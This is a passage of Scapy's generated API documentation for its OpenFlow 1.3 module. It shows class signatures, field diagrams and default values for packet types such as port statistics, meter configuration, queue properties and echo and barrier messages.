|                            PORT NO                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            QUEUE ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPMPRequestQueue                      


OFPMPRequestQueue fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	5



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	port_no

	IntEnumField

	4294967295



	queue_id

	IntEnumField

	4294967295















	
class scapy.contrib.openflow3.OFPMPRequestTable(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=3, flags=<Flag 0 ()>, pad1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2290-L2298]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPMPRequestTable                      


OFPMPRequestTable fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	3



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0















	
class scapy.contrib.openflow3.OFPMPRequestTableFeatures(_pkt, /, *, version=4, type=18, len=None, xid=0, mp_type=12, flags=<Flag 0 ()>, pad1=0, table_features=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2903-L2913]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MP TYPE            |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TABLE FEATURES        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPMPRequestTableFeatures                  


OFPMPRequestTableFeatures fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	18



	len

	ShortField

	None



	xid

	IntField

	0



	mp_type

	ShortEnumField

	12



	flags

	FlagsField

	<Flag 0 ()>



	pad1

	XIntField

	0



	table_features

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMatch(_pkt, /, *, type=1, len=None, oxm_fields=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L634-L655]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L652-L655]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           OXM FIELDS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OFPMatch                           


OFPMatch fields






	type

	ShortEnumField

	1



	len

	ShortField

	None



	oxm_fields

	OXMPacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L642-L650]

	








	
class scapy.contrib.openflow3.OFPMeterBandStats(_pkt, /, *, packet_band_count=0, byte_band_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2563-L2569]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2568-L2569]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       PACKET BAND COUNT                       |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        BYTE BAND COUNT                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPMeterBandStats                      


OFPMeterBandStats fields






	packet_band_count

	LongField

	0



	byte_band_count

	LongField

	0















	
class scapy.contrib.openflow3.OFPMeterConfig(_pkt, /, *, len=None, flags=<Flag 0 ()>, meter_id=1, bands=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2621-L2633]

	Bases: _ofp_header_item


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2632-L2633]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            METER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BANDS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPMeterConfig                        


OFPMeterConfig fields






	len

	ShortField

	None



	flags

	FlagsField

	<Flag 0 ()>



	meter_id

	IntEnumField

	1



	bands

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPMeterStats(_pkt, /, *, meter_id=1, len=None, pad=0, flow_count=0, packet_in_count=0, byte_in_count=0, duration_sec=0, duration_nsec=0, band_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2572-L2592]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2591-L2592]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            METER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FLOW COUNT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        PACKET IN COUNT                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         BYTE IN COUNT                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DURATION SEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DURATION NSEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BAND STATS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPMeterStats                        


OFPMeterStats fields






	meter_id

	IntEnumField

	1



	len

	ShortField

	None



	pad

	XBitField  (48 bits)

	0



	flow_count

	IntField

	0



	packet_in_count

	LongField

	0



	byte_in_count

	LongField

	0



	duration_sec

	IntField

	0



	duration_nsec

	IntField

	0



	band_stats

	PacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2585-L2589]

	








	
class scapy.contrib.openflow3.OFPPacketQueue(_pkt, /, *, queue_id=0, len=None, pad=0, properties=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1490-L1507]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1498-L1499]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            QUEUE ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PROPERTIES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPPacketQueue                        


OFPPacketQueue fields






	queue_id

	IntEnumField

	0



	len

	ShortField

	None



	pad

	XShortField

	0



	properties

	PacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1501-L1507]

	








	
class scapy.contrib.openflow3.OFPPort(_pkt, /, *, port_no=0, pad1=0, hw_addr='0', pad2=0, port_name=b'', config=<Flag 0 ()>, state=<Flag 0 ()>, curr=<Flag 0 ()>, advertised=<Flag 0 ()>, supported=<Flag 0 ()>, peer=<Flag 0 ()>, curr_speed=0, max_speed=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L142-L159]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L158-L159]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PORT NO                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            HW ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PORT NAME                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CONFIG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CURR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ADVERTISED                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SUPPORTED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PEER                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CURR SPEED                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAX SPEED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OFPPort                           


OFPPort fields






	port_no

	IntEnumField

	0



	pad1

	XIntField

	0



	hw_addr

	MACField

	'0'



	pad2

	XShortField

	0



	port_name

	StrFixedLenField

	b''



	config

	FlagsField

	<Flag 0 ()>



	state

	FlagsField

	<Flag 0 ()>



	curr

	FlagsField

	<Flag 0 ()>



	advertised

	FlagsField

	<Flag 0 ()>



	supported

	FlagsField

	<Flag 0 ()>



	peer

	FlagsField

	<Flag 0 ()>



	curr_speed

	IntField

	0



	max_speed

	IntField

	0















	
class scapy.contrib.openflow3.OFPPortStats(_pkt, /, *, port_no=0, pad=0, rx_packets=0, tx_packets=0, rx_bytes=0, tx_bytes=0, rx_dropped=0, tx_dropped=0, rx_errors=0, tx_errors=0, rx_frame_err=0, rx_over_err=0, rx_crc_err=0, collisions=0, duration_sec=0, duration_nsec=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2339-L2358]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2340-L2341]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PORT NO                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RX PACKETS                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX PACKETS                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RX BYTES                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TX BYTES                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RX DROPPED                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX DROPPED                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RX ERRORS                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX ERRORS                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          RX FRAME ERR                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          RX OVER ERR                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RX CRC ERR                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           COLLISIONS                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DURATION SEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DURATION NSEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPPortStats                         


OFPPortStats fields






	port_no

	IntEnumField

	0



	pad

	XIntField

	0



	rx_packets

	LongField

	0



	tx_packets

	LongField

	0



	rx_bytes

	LongField

	0



	tx_bytes

	LongField

	0



	rx_dropped

	LongField

	0



	tx_dropped

	LongField

	0



	rx_errors

	LongField

	0



	tx_errors

	LongField

	0



	rx_frame_err

	LongField

	0



	rx_over_err

	LongField

	0



	rx_crc_err

	LongField

	0



	collisions

	LongField

	0



	duration_sec

	IntField

	0



	duration_nsec

	IntField

	0















	
class scapy.contrib.openflow3.OFPQT(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1458-L1467]

	Bases: _ofp_header


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1459-L1464]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1466-L1467]

	








	
class scapy.contrib.openflow3.OFPQTMinRate(_pkt, /, *, type=1, len=16, pad1=0, rate=0, pad2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1477-L1483]

	Bases: OFPQT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              RATE             |              PAD2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPQTMinRate                         


OFPQTMinRate fields






	type

	ShortEnumField

	1



	len

	ShortField

	16



	pad1

	XIntField

	0



	rate

	ShortField

	0



	pad2

	XBitField  (48 bits)

	0















	
class scapy.contrib.openflow3.OFPQTNone(_pkt, /, *, type=0, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1470-L1474]

	Bases: OFPQT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OFPQTNone                          


OFPQTNone fields






	type

	ShortEnumField

	0



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPQueueStats(_pkt, /, *, port_no=0, queue_id=0, tx_bytes=0, tx_packets=0, tx_errors=0, duration_sec=0, duration_nsec=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2387-L2398]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2397-L2398]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PORT NO                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            QUEUE ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TX BYTES                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX PACKETS                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TX ERRORS                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DURATION SEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DURATION NSEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPQueueStats                        


OFPQueueStats fields






	port_no

	IntEnumField

	0



	queue_id

	IntEnumField

	0



	tx_bytes

	LongField

	0



	tx_packets

	LongField

	0



	tx_errors

	LongField

	0



	duration_sec

	IntField

	0



	duration_nsec

	IntField

	0















	
class scapy.contrib.openflow3.OFPTBarrierReply(_pkt, /, *, version=4, type=21, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3029-L3034]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPTBarrierReply                       


OFPTBarrierReply fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	21



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow3.OFPTBarrierRequest(_pkt, /, *, version=4, type=20, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L3021-L3026]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPTBarrierRequest                      


OFPTBarrierRequest fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	20



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow3.OFPTEchoReply(_pkt, /, *, version=4, type=3, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1928-L1933]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPTEchoReply                        


OFPTEchoReply fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	3



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow3.OFPTEchoRequest(_pkt, /, *, version=4, type=2, len=None, xid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1920-L1925]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPTEchoRequest                       


OFPTEchoRequest fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	2



	len

	ShortField

	None



	xid

	IntField

	0















	
class scapy.contrib.openflow3.OFPTExperimenter(_pkt, /, *, version=4, type=4, len=None, xid=0, experimenter=0, exp_type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1936-L1943]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXPERIMENTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            EXP TYPE                           |
